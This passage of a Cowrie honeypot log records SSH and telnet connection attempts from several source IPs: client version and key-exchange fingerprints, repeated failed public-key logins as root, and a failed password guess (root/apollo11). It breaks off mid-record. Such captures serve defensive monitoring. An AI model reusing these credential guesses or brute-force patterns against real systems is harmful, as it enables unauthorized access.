{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:89:ac:45:5f:c5:95:a5:26:4b:3e:8e:ce:fc:d0:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC13vjjHwotKPcx6wy4B7W6Xku8Wc8BEHxhTOf7Yx/p42MyIc7e/IwhHMn1p5AtGmteq7gcXPXP7DOo1cpyhH8edWKMQpVm9xu9HxpKSnGx1jPKxGXI28ByULXSTQ3vV4Piy609HWoOTuMPFD1QRCGoDhup6igakY0BmjqWh5HvHY0x5CzxoRRYXMOXR6J3JmwYqlrvIFnZVpRaff9cReHY8rKDPm/2g1/33tioLwZDcNyngBPgcGdEI/U3PxRvbsE91pz8b+DS3sn7D+FuzfmoCyGsKkL5oudCN9OgS4v+cwzAKV/yDL7oTncLn7frarW74fD2282NSbMF5Czrn165","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:89:ac:45:5f:c5:95:a5:26:4b:3e:8e:ce:fc:d0:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:22.171400Z","src_ip":"148.153.121.224","session":"4f3216f06f95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:89:ac:45:5f:c5:95:a5:26:4b:3e:8e:ce:fc:d0:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC13vjjHwotKPcx6wy4B7W6Xku8Wc8BEHxhTOf7Yx/p42MyIc7e/IwhHMn1p5AtGmteq7gcXPXP7DOo1cpyhH8edWKMQpVm9xu9HxpKSnGx1jPKxGXI28ByULXSTQ3vV4Piy609HWoOTuMPFD1QRCGoDhup6igakY0BmjqWh5HvHY0x5CzxoRRYXMOXR6J3JmwYqlrvIFnZVpRaff9cReHY8rKDPm/2g1/33tioLwZDcNyngBPgcGdEI/U3PxRvbsE91pz8b+DS3sn7D+FuzfmoCyGsKkL5oudCN9OgS4v+cwzAKV/yDL7oTncLn7frarW74fD2282NSbMF5Czrn165","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:22.175091Z","src_ip":"148.153.121.224","session":"4f3216f06f95","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"92:cc:d7:c3:59:96:27:cd:7b:b6:6a:1b:e3:26:8f:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1XnRaeQjldVStYV1ten9LnGcoMCvQ3jsQqLAJ+rzG0Z+LroCuTR3hiCYyihYWJHbzecSKaCACSNLUX3+kSiiwbpCF7DFKsQonIAL91v66sUaYvGmTww3VfUp047qQuN7teMAH/HjV+wIyzFJ5LUQZMMpyOiig7+YuOMf/kS9qlpv283ntIOTLe8HGgmJr9IqKjlEcA5ELjR08DIKSL4NWectr5lDKC//fe0luMUOSMIZjitK0d7FyP25tfkHyXoCAsD9Zo5Ixm6yXPSPOlX4l7BOvq9njDRU+ZsgiGOY9AXKd1rqzIOSIvMyj8QDQiHcw7Q/7rcE/ZUTuLJl8U+/J","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 92:cc:d7:c3:59:96:27:cd:7b:b6:6a:1b:e3:26:8f:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:22.218890Z","src_ip":"148.153.121.224","session":"4f3216f06f95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"92:cc:d7:c3:59:96:27:cd:7b:b6:6a:1b:e3:26:8f:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1XnRaeQjldVStYV1ten9LnGcoMCvQ3jsQqLAJ+rzG0Z+LroCuTR3hiCYyihYWJHbzecSKaCACSNLUX3+kSiiwbpCF7DFKsQonIAL91v66sUaYvGmTww3VfUp047qQuN7teMAH/HjV+wIyzFJ5LUQZMMpyOiig7+YuOMf/kS9qlpv283ntIOTLe8HGgmJr9IqKjlEcA5ELjR08DIKSL4NWectr5lDKC//fe0luMUOSMIZjitK0d7FyP25tfkHyXoCAsD9Zo5Ixm6yXPSPOlX4l7BOvq9njDRU+ZsgiGOY9AXKd1rqzIOSIvMyj8QDQiHcw7Q/7rcE/ZUTuLJl8U+/J","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:22.223454Z","src_ip":"148.153.121.224","session":"4f3216f06f95","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:91:cc:eb:93:c3:7e:bb:dc:57:36:da:7e:d8:6a:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOuPqIi6qFtfb4Iz95OawRp5W6xgMVjQTKyNkzt+K8Pmfl7EQ3U63QpB35o+HDnjJQJfK293izT/8yCri0m7snIrClbsyLEAMxcvNsEeRudasq4OncnVDnZCGK//QafSJ+VFfejL/0sWGcbASF+IPkuI0+2iHSUOB3RZ1jE24xHDD1g7bhElsSr8kkYzpNXvoPCR9eLaVMcdPbOVjQGXFpD3IIyoiN1kAizHTk56Fe9KKd0OraQEQgEnPVDdyEt984mIM2NvYoFIOdrsMYWOBcZq82oHrBomWyam5K7VfJfT470g7NE8AYguS/VbuSsrc7i4mzksVB100mNRqlZ5f5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 69:91:cc:eb:93:c3:7e:bb:dc:57:36:da:7e:d8:6a:e3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:22.267970Z","src_ip":"148.153.121.224","session":"4f3216f06f95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:91:cc:eb:93:c3:7e:bb:dc:57:36:da:7e:d8:6a:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOuPqIi6qFtfb4Iz95OawRp5W6xgMVjQTKyNkzt+K8Pmfl7EQ3U63QpB35o+HDnjJQJfK293izT/8yCri0m7snIrClbsyLEAMxcvNsEeRudasq4OncnVDnZCGK//QafSJ+VFfejL/0sWGcbASF+IPkuI0+2iHSUOB3RZ1jE24xHDD1g7bhElsSr8kkYzpNXvoPCR9eLaVMcdPbOVjQGXFpD3IIyoiN1kAizHTk56Fe9KKd0OraQEQgEnPVDdyEt984mIM2NvYoFIOdrsMYWOBcZq82oHrBomWyam5K7VfJfT470g7NE8AYguS/VbuSsrc7i4mzksVB100mNRqlZ5f5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:22.272132Z","src_ip":"148.153.121.224","session":"4f3216f06f95","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:1d:6f:49:9f:cb:a1:c0:56:08:a5:81:77:aa:34:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4uuCUE4p640ndeLLnRuC8M0B02a1scl32DNlvylW/+6GnftMxv/mOIPP+mC2veM0v/EatDF802ciF9hoxb21dDboXEKhjQvUWlX9AhTVpP0ZtVnArPzmscKMyvoCl84tWep6bKULXJ1xyeIsSgP8YEiTA3UTnYOoT5hfXv4SJQLJ43awfw3my95b+pMatyykO4ZaG4PjNjXLOwh8N7a+0quT8fj/2OZ5wx78YF+bvysDn4A1eqoXyYa+AZ5Be80KzNqwIEEHVKs8Vmm393GqxrNH6xdyFMIK2HQCWF8VfOGKGUfGQvJaAiCNwBWXte/9TSlvGTLDjfuMIE7nOcZh1w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d3:1d:6f:49:9f:cb:a1:c0:56:08:a5:81:77:aa:34:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:22.317458Z","src_ip":"148.153.121.224","session":"4f3216f06f95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:1d:6f:49:9f:cb:a1:c0:56:08:a5:81:77:aa:34:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4uuCUE4p640ndeLLnRuC8M0B02a1scl32DNlvylW/+6GnftMxv/mOIPP+mC2veM0v/EatDF802ciF9hoxb21dDboXEKhjQvUWlX9AhTVpP0ZtVnArPzmscKMyvoCl84tWep6bKULXJ1xyeIsSgP8YEiTA3UTnYOoT5hfXv4SJQLJ43awfw3my95b+pMatyykO4ZaG4PjNjXLOwh8N7a+0quT8fj/2OZ5wx78YF+bvysDn4A1eqoXyYa+AZ5Be80KzNqwIEEHVKs8Vmm393GqxrNH6xdyFMIK2HQCWF8VfOGKGUfGQvJaAiCNwBWXte/9TSlvGTLDjfuMIE7nOcZh1w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:22.321778Z","src_ip":"148.153.121.224","session":"4f3216f06f95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:22.365423Z","src_ip":"148.153.121.224","session":"4f3216f06f95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.832271337509155,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:23.953654Z","src_ip":"192.119.13.58","session":"f3f7ab757747","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51536,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7721f694aca","protocol":"telnet","message":"New connection: 192.119.13.58:51536 (10.17.0.5:23) [session: d7721f694aca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:25.814321Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.100.175","src_port":43470,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1666efff3b9","protocol":"ssh","message":"New connection: 43.134.100.175:43470 (159.203.135.109:22) [session: f1666efff3b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:25.819261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:25.824028Z","src_ip":"43.134.100.175","session":"f1666efff3b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:26.062700Z","src_ip":"43.134.100.175","session":"f1666efff3b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apollo11","message":"login attempt [root/apollo11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:27.047070Z","src_ip":"43.134.100.175","session":"f1666efff3b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.66006374359131,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:28.200214Z","src_ip":"192.119.13.58","session":"61b628d4eed8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:28.288071Z","src_ip":"43.134.100.175","session":"f1666efff3b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40514,"dst_ip":"10.17.0.5","dst_port":23,"session":"87dfbd184639","protocol":"telnet","message":"New connection: 192.119.13.58:40514 (10.17.0.5:23) [session: 87dfbd184639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:29.995942Z"}
{"eventid":"cowrie.session.closed","duration":46.81116008758545,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:31.636796Z","src_ip":"192.119.13.58","session":"caec004e3a08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41936,"dst_ip":"10.17.0.5","dst_port":23,"session":"00bccd9954dd","protocol":"telnet","message":"New connection: 192.119.13.58:41936 (10.17.0.5:23) [session: 00bccd9954dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:37.226698Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.45.254","src_port":54998,"dst_ip":"10.17.0.5","dst_port":22,"session":"90885c991136","protocol":"ssh","message":"New connection: 45.43.45.254:54998 (10.17.0.5:22) [session: 90885c991136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:38.890048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:38.894841Z","src_ip":"45.43.45.254","session":"90885c991136","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:39.135676Z","src_ip":"45.43.45.254","session":"90885c991136","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50298,"dst_ip":"10.17.0.5","dst_port":23,"session":"16b14277f8c7","protocol":"telnet","message":"New connection: 192.119.13.58:50298 (10.17.0.5:23) [session: 16b14277f8c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:39.235194Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:b2:ce:fe:98:80:66:45:7b:07:30:f0:e4:87:92:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZxq+kzYd2va1qk7eTkiOPAIbnFDPv+dK7G95phF2WGjCdXir0GgqonebFM6pEL+kXHeYB8/duIzTSjcFfBPcYJtLerj9OY4Njp1epeYW+Lex5fZ6ivCDZdcNzo4Km6xw0W1qar4M0Z7rc1VuAegCWMduXVY1WIwARMbn/qZQjze5OUhY+8ZOQJVbo0I1bROX0fF3QvMrV36WzpR/hyZGp3q/rl6eUlf3fuIFIxcAxMNQDPfTJGcDKIQVAL1J+V81IuMGW9M5swcrUlwC6BYpeyFS3AAGlhvPAiN3HWLone2c0lM6I+FWtr8EsG9AafCeqZI3pANCgDmGagmJLvXvh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:b2:ce:fe:98:80:66:45:7b:07:30:f0:e4:87:92:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:40.315233Z","src_ip":"45.43.45.254","session":"90885c991136","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:b2:ce:fe:98:80:66:45:7b:07:30:f0:e4:87:92:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZxq+kzYd2va1qk7eTkiOPAIbnFDPv+dK7G95phF2WGjCdXir0GgqonebFM6pEL+kXHeYB8/duIzTSjcFfBPcYJtLerj9OY4Njp1epeYW+Lex5fZ6ivCDZdcNzo4Km6xw0W1qar4M0Z7rc1VuAegCWMduXVY1WIwARMbn/qZQjze5OUhY+8ZOQJVbo0I1bROX0fF3QvMrV36WzpR/hyZGp3q/rl6eUlf3fuIFIxcAxMNQDPfTJGcDKIQVAL1J+V81IuMGW9M5swcrUlwC6BYpeyFS3AAGlhvPAiN3HWLone2c0lM6I+FWtr8EsG9AafCeqZI3pANCgDmGagmJLvXvh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:40.319042Z","src_ip":"45.43.45.254","session":"90885c991136","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"07:1f:82:c8:e1:0d:6a:53:c2:23:a5:3c:55:f0:63:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/EoKJcdHt/afPjZdUdugyUJNj9X/D0mOWrAa6FgYcK+azQ/GEx9fNxBnkjTvPtNJtbG7kw5uWCL40rRIR3Oq0Fq0ULnjMu3cu7BUwZWdiMHxWTxCocBi2uA0YpMBXzqKJrDTRX5ETobq1jbqBXzkeYikntzi3r3ZoIL+7yGimiTphZz9Jr/tUxHSW5R4Q2L6+CASk8uNIykp72jK4Cb1I8l8Dq4yj2lEGYhnuMGIyklbAvo5wIBB6fpUTBohZllKZpha1/2NJBmEOGtkjS3y9JCf9uZT3BRqya9OM/2DT273hN8fSjhWL0uPnz3rBwcJ2LPThUQwso0rUJvE1wePT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 07:1f:82:c8:e1:0d:6a:53:c2:23:a5:3c:55:f0:63:0a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:40.560797Z","src_ip":"45.43.45.254","session":"90885c991136","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"07:1f:82:c8:e1:0d:6a:53:c2:23:a5:3c:55:f0:63:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/EoKJcdHt/afPjZdUdugyUJNj9X/D0mOWrAa6FgYcK+azQ/GEx9fNxBnkjTvPtNJtbG7kw5uWCL40rRIR3Oq0Fq0ULnjMu3cu7BUwZWdiMHxWTxCocBi2uA0YpMBXzqKJrDTRX5ETobq1jbqBXzkeYikntzi3r3ZoIL+7yGimiTphZz9Jr/tUxHSW5R4Q2L6+CASk8uNIykp72jK4Cb1I8l8Dq4yj2lEGYhnuMGIyklbAvo5wIBB6fpUTBohZllKZpha1/2NJBmEOGtkjS3y9JCf9uZT3BRqya9OM/2DT273hN8fSjhWL0uPnz3rBwcJ2LPThUQwso0rUJvE1wePT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:40.564010Z","src_ip":"45.43.45.254","session":"90885c991136","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"81:90:08:6e:92:79:23:69:0f:29:f5:f9:49:4f:f3:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPR6ibieA2QEdvDY3ykh0+OQBh8JEbfgtjoOx9jD7l2enlGWhbYJf5J1XZSRW2d4o0A3FpAxIboj3662jLJH0Sll61n00keCwCI1xZsK0nvzZ5CGI97LajrM1nKmo0xOOeuoNRQkQ79aKab7QS3iWOzyekum4NCeDyzVeZlAjq0rI2/362Nu7PLQcQF+j8nxuZogOY2GHmg/FwvtYWCLjNyTwTTt7e6g6UIMW1AT1KKdWyY50zQtJYONApmBKPmcL8RayX6mask1NDIrVrJ+WMCD7RKFhR6F2uf+FWilOXe7D6jczHXWOE4rlnGm8/Zm2QTbyiFn40uA0SX5mtrsoR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 81:90:08:6e:92:79:23:69:0f:29:f5:f9:49:4f:f3:ed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:40.813041Z","src_ip":"45.43.45.254","session":"90885c991136","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"81:90:08:6e:92:79:23:69:0f:29:f5:f9:49:4f:f3:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPR6ibieA2QEdvDY3ykh0+OQBh8JEbfgtjoOx9jD7l2enlGWhbYJf5J1XZSRW2d4o0A3FpAxIboj3662jLJH0Sll61n00keCwCI1xZsK0nvzZ5CGI97LajrM1nKmo0xOOeuoNRQkQ79aKab7QS3iWOzyekum4NCeDyzVeZlAjq0rI2/362Nu7PLQcQF+j8nxuZogOY2GHmg/FwvtYWCLjNyTwTTt7e6g6UIMW1AT1KKdWyY50zQtJYONApmBKPmcL8RayX6mask1NDIrVrJ+WMCD7RKFhR6F2uf+FWilOXe7D6jczHXWOE4rlnGm8/Zm2QTbyiFn40uA0SX5mtrsoR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:40.816061Z","src_ip":"45.43.45.254","session":"90885c991136","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:ec:a1:03:ea:b0:0f:5b:fc:fa:7c:56:b8:14:6e:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvnRe3Y/rB87/cZT8yiUj4pGu4kpxBfJvLfFQhrOgUab4VROsodEL9dPxIdC/EYwFs/BaNltHDes1HL2hnl+fgovKS6BTOaNOD8363adUkg3YmigN2zFFjNigGsV4rdeknHtR1r72YpBuEClEry6RFZbORa4Kfdv/XWZBUWB+zX+WN9WsJWO2LCRbz/ygT2psprqiQgQvC0sM7ZgCtL0JHaiKaMoysQ57Brrp1trjl6P7iEvxBhFbDisg3G+Ewm3PEI9jrzaFCfhbJeFsztMn865u1J3p0KmBUoMbyXYwWzzn1Pf73XeVCL/DDGs9BfUl+i0bb4APAy98h36FilHehQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bd:ec:a1:03:ea:b0:0f:5b:fc:fa:7c:56:b8:14:6e:21","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:41.055660Z","src_ip":"45.43.45.254","session":"90885c991136","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:ec:a1:03:ea:b0:0f:5b:fc:fa:7c:56:b8:14:6e:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvnRe3Y/rB87/cZT8yiUj4pGu4kpxBfJvLfFQhrOgUab4VROsodEL9dPxIdC/EYwFs/BaNltHDes1HL2hnl+fgovKS6BTOaNOD8363adUkg3YmigN2zFFjNigGsV4rdeknHtR1r72YpBuEClEry6RFZbORa4Kfdv/XWZBUWB+zX+WN9WsJWO2LCRbz/ygT2psprqiQgQvC0sM7ZgCtL0JHaiKaMoysQ57Brrp1trjl6P7iEvxBhFbDisg3G+Ewm3PEI9jrzaFCfhbJeFsztMn865u1J3p0KmBUoMbyXYwWzzn1Pf73XeVCL/DDGs9BfUl+i0bb4APAy98h36FilHehQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:41.059319Z","src_ip":"45.43.45.254","session":"90885c991136","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"db:0e:fa:55:a3:6b:64:80:b8:3b:26:45:64:14:32:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBMkYh75qQ+ZNWBZSB5XRdXqbH29c+nsB/5Q+PuZBMZK1KdqZSYeT+r9ljHRGD6H+9Rgp+AoPRx+oAootq2+4HG9m09/QwoDOCUiD2tzS6nt3JjEMk/j26NNccYY7WF8k3P46dQNa/Lof/ZVHFz3DGKRwsVgunVYeuiMpQYq+uBI9Gh11v1ViUejt7Ewz6P5L9dg2AMTFozXb6esA6xZLf2oSHbYsYekgHec5Qs4X/u+hLtJABqIpGg8Qy5PrTZcni7hf9+k35HVLEHoX43ePWEu4eQbxoPmZaDvphWBquXE+/AD7CY8ep3icNuKdWiumV8avADDgnhH/g5Oi6R8Fl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 